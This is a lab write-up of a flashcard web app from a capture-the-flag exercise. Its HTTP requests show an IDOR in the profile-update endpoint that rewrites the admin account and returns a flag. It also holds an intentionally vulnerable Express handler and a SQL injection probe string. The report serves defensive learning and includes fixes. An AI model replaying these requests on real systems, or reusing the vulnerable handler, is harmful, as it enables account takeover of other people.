Tanuki: IDOR to Account Takeover
Part 1: Pentest Report
Executive Summary
Tanuki is a spaced repetition flashcards web application. Frontend is a Create React App single bundle SPA, backend is Express, authentication is HS256 JWTs carried as Authorization: Bearer <token>. Testing confirmed one critical account takeover defect on the profile update endpoint: the server identifies the update target from the URL path (PUT /api/profile/:username) without verifying that the authenticated user’s token maps to that username. Any authenticated user can rewrite the email, full name, and password of any other account, including the seeded admin account.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Cross user profile write via path supplied username | Critical | 9.9 | CWE-639 | PUT /api/profile/:username |
F1 is reachable from a freshly registered account with no elevated privileges. A single request to PUT /api/profile/admin carrying a regular user JWT rewrites admin’s record and returns the lab flag in the response message field. The role field whitelist on registration and profile updates, the server enforced admin gate on /api/admin/*, and parameterised SQL queries all hold. F1 survives those defenses because it is a separate authorization concern on the path, not the body.
Objective
Black box lab. No credentials supplied. Register, map the API, locate the flag.
Scope / Initial Access
# Target Application
URL: https://lab-1776819016220-ttmogw.labs-app.bugforge.io
# Auth details
Registration is open: POST /api/register with {username, email, password, full_name}.
Server responds 200 with {token, user{id,username,email,full_name}}.
Token is HS256 JWT, payload shape {"id":4,"username":"haxor","iat":...}.
Authenticated requests carry Authorization: Bearer <jwt>.
Starting account: haxor / id=4 / role=user.
The client side route gate renders the admin panel only when user.role === "admin" in local state. That gate is cosmetic. The server enforces role on /api/admin/* independently.
Reconnaissance: Reading the React Bundle in the Browser
The frontend is a single CRA bundle (main.8b522765.js, ~516 KB). Reading it in Firefox devtools’ Sources panel enumerated the full API surface, including the admin panel UI paths the current JWT could not reach. The observations that shaped later testing:
- Every endpoint in the bundle was prefixed
/api/...and called withAuthorization: Bearer <jwt>. The admin panel referenced/api/admin/users,/api/admin/decks,/api/admin/cards, natural first targets if the role gate had been client only. - The profile routes key on the username in the URL path (
GET /api/profile/:username,PUT /api/profile/:username) while the JWT identifies the user by numericid. Two independent inputs, path and token, either of which the server might silently trust. - The admin “create user” form in the bundle posted a
rolefield alongside the usual profile fields. The public registration form did not. This hints the server may field whitelist registration to striprole. - The profile PUT body in the bundle included
passwordas an accepted field. A cross user write on this endpoint therefore escalates beyond data tampering to password reset and full takeover.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (X-Powered-By: Express) |
| Frontend | React (Create React App, single bundle main.8b522765.js) |
| Auth | JWT HS256, Authorization: Bearer <token>, token stored in localStorage["token"] |
| Theme | SRS flashcards, Japanese branding (“Tanuki”, Noto Sans JP font), English content |
API Surface (user accessible)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Returns {token, user{...}} |
| /api/login | POST | No | Not exercised |
| /api/verify-token | GET | Yes | Returns current user object |
| /api/decks | GET | Yes | Seeded decks (Planets, Linux, Cheese) |
| /api/decks/:id | GET | Yes | Deck detail |
| /api/study/:deckId/cards | GET | Yes | Cards for a study session |
| /api/study/progress | POST | Yes | {card_id, quality} |
| /api/study/session | POST | Yes | {deck_id, cards_studied, correct_count} (counts are client supplied) |
| /api/study/sessions | GET | Yes | Current user’s sessions |
| /api/stats | GET | Yes | Aggregate stats for current user |
| /api/profile/:username | GET | Yes | {username,email,full_name,role,created_at} |
| /api/profile/:username | PUT | Yes | {email, full_name, password}. F1 surface. |
API Surface (admin only, server enforced)
| Endpoint | Method | Notes |
|---|---|---|
| /api/admin/users | GET/POST | 403 to non admin JWT |
| /api/admin/users/:id | PUT/DELETE | 403 to non admin JWT |
| /api/admin/decks(/:id) | GET/POST/PUT/DELETE | 403 to non admin JWT |
| /api/admin/cards(/:id) | GET/POST/PUT/DELETE | 403 to non admin JWT |
Known Users
| Username | ID | Role |
|---|---|---|
| admin | seeded (ID unknown) | admin |
| haxor | 4 | user (test account) |
Attack Chain Visualization
┌──────────────┐ ┌──────────────┐ ┌───────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ 1. Register │──▶│ 2. Read CRA │──▶│ 3. Confirm │──▶│ 4. PUT │──▶│ 5. 200 + flag │
│ haxor │ │ bundle, │ │ other │ │ /api/profile/ │ │ in `message` │
│ (role= │ │ enumerate │ │ defenses │ │ admin with │ │ field │
│ user) │ │ API │ │ hold │ │ haxor JWT │ │ │
└──────────────┘ └──────────────┘ └───────────────┘ └──────────────────┘ └─────────────────┘
Findings
F1: Cross user profile write via path supplied username
Severity: Critical
CVSS v3.1: 9.9, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
Endpoint: PUT /api/profile/:username
Authentication required: Yes (any valid user JWT)
Description
The profile update endpoint identifies the target record from the URL path (:username), while authentication is established from the JWT in the Authorization header. The server validates the JWT signature and expiry but does not verify that the token’s identity matches the path segment. The request body is correctly field whitelisted: only email, full_name, and password pass through; an extra role is silently dropped. That defense does not apply to the path. An authenticated caller can therefore issue PUT /api/profile/<any-username> and overwrite that user’s email, full name, and password.
In addition, when the path supplied username does not match the JWT derived user, the response message field on the 200 response is replaced with the lab flag string instead of the usual “Profile updated successfully” text. This is a lab specific tripwire, not a real world leak in itself, but it confirms that the server code paths for self update and cross user update are distinguishable on the backend.
Impact
Any authenticated user can overwrite the password of any other account, including administrative accounts, resulting in full account takeover.
Reproduction
Step 1: Register a working user account.
POST /api/register HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Content-Type: application/json
{"username":"haxor","email":"haxor@test.local","password":"Password123!","full_name":"Test Operator"}
Response: 200 {"token":"eyJhbGc...","user":{"id":4,"username":"haxor","email":"haxor@test.local","full_name":"Test Operator"}}. The JWT is usable immediately.
Step 2: Confirm the admin account is reachable by username.
GET /api/profile/admin HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Response: 200 {"username":"admin","email":"admin@tanuki.app","full_name":"Administrator","role":"admin","created_at":"..."}. The path identified read works across users.
Step 3: Issue the cross user write.
PUT /api/profile/admin HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Content-Type: application/json
{"email":"admin@tanuki.app","full_name":"Tanuki Admin (probed)"}
Response: 200 {"message":"bug{zu4mOcanw13pmotf7uDdXiMcwLMtJBfj}"}. The server returns the flag in place of the usual success string.
Step 4: Verify the mutation persisted.
GET /api/profile/admin HTTP/1.1
Host: lab-1776819016220-ttmogw.labs-app.bugforge.io
Authorization: Bearer <haxor JWT>
Response: 200 {"username":"admin","full_name":"Tanuki Admin (probed)",...}. The write landed on admin’s record. Reverting the write reproduces the flag deterministically: the response fires whenever path.username differs from the JWT derived user.
Remediation
Fix 1: Bind writes to the authenticated identity.
Reject the request when the path supplied username does not match the authenticated caller. For routes that must allow cross user writes by design (admin maintenance), gate the cross user branch explicitly on role.
// BEFORE (Vulnerable)
app.put('/api/profile/:username', authenticate, async (req, res) => {
const { username } = req.params;
const { email, full_name, password } = req.body;
await db.users.update({ username }, { email, full_name, password });
return res.json({ message: 'Profile updated successfully' });
});
// AFTER (Secure)
app.put('/api/profile/:username', authenticate, async (req, res) => {
const { username } = req.params;
if (req.user.username !== username && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const { email, full_name, password } = req.body;
await db.users.update({ username }, { email, full_name, password });
return res.json({ message: 'Profile updated successfully' });
});
Fix 2: Remove the client supplied identifier from self service routes.
The stronger hardening is to drop the path parameter entirely on self service writes. PUT /api/profile with the target derived from req.user.id eliminates the defect class.
// BEFORE (Vulnerable)
app.put('/api/profile/:username', authenticate, async (req, res) => {
await db.users.update({ username: req.params.username }, req.body);
});
// AFTER (Secure)
app.put('/api/profile', authenticate, async (req, res) => {
await db.users.update({ id: req.user.id }, req.body);
});
Additional recommendations:
- Apply the same review to every route with a client supplied path identifier that writes or reads user scoped data (
/api/orders/:order_id,/api/teams/:slug,/api/sessions/:id). The defect class is about the pattern, not this one route. - Require the current password before accepting a password change, even on self service updates.
- Ensure passwords are hashed with bcrypt or argon2 at rest. Not observable from this endpoint, worth auditing separately.
- Audit log profile writes with both the authenticated identity and the target identity so cross user writes are detectable if the route is later loosened for administrative use.
OWASP Top 10 Coverage
- A01:2021, Broken Access Control. The server authenticates the caller but fails to authorize the caller for the specific target record. The check that binds the JWT identity to the path identity is missing.
Tools Used
| Tool | Purpose |
|---|---|
| Firefox devtools (Sources panel) | Reading the React bundle to enumerate the API surface and the admin UI |
| Caido | Request replay and editing for the cross user write |
References
- CWE-639: Authorization Bypass Through User-Controlled Key, https://cwe.mitre.org/data/definitions/639.html
- OWASP API Security Top 10, API1:2023 Broken Object Level Authorization, https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- OWASP Top 10 2021, A01 Broken Access Control, https://owasp.org/Top10/A01_2021-Broken_Access_Control/
Part 2: Notes / Knowledge
Key Learnings
- Always test password write endpoints that take user controlled input (path, body, header) for account data tampering and/or takeover.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Mass assignment of role on POST /api/register |
Account created with role=user | Body is field whitelisted; extra role silently dropped |
Mass assignment of role on PUT /api/profile/haxor |
Record unchanged on role |
Body is field whitelisted; extra role silently dropped |
| Direct access to /api/admin/users with haxor JWT | 403 {"error":"Admin access required"} |
Server enforces role check on admin routes |
| SQL injection via single quote on register username, profile path, decks/:id, study/:deckId | Clean responses | Parameterised queries; numeric ID routes parse as int before query |
POST /api/login SQLi probe (admin'--) |
Not executed | Tooling issue (Caido send-raw Blob serialization); engagement objective was reached via F1 before retrying |
Tags: #webapp #idor #broken-access-control #account-takeover #cwe-639 #bugforge
Document Version: 1.0
Last Updated: 2026-04-22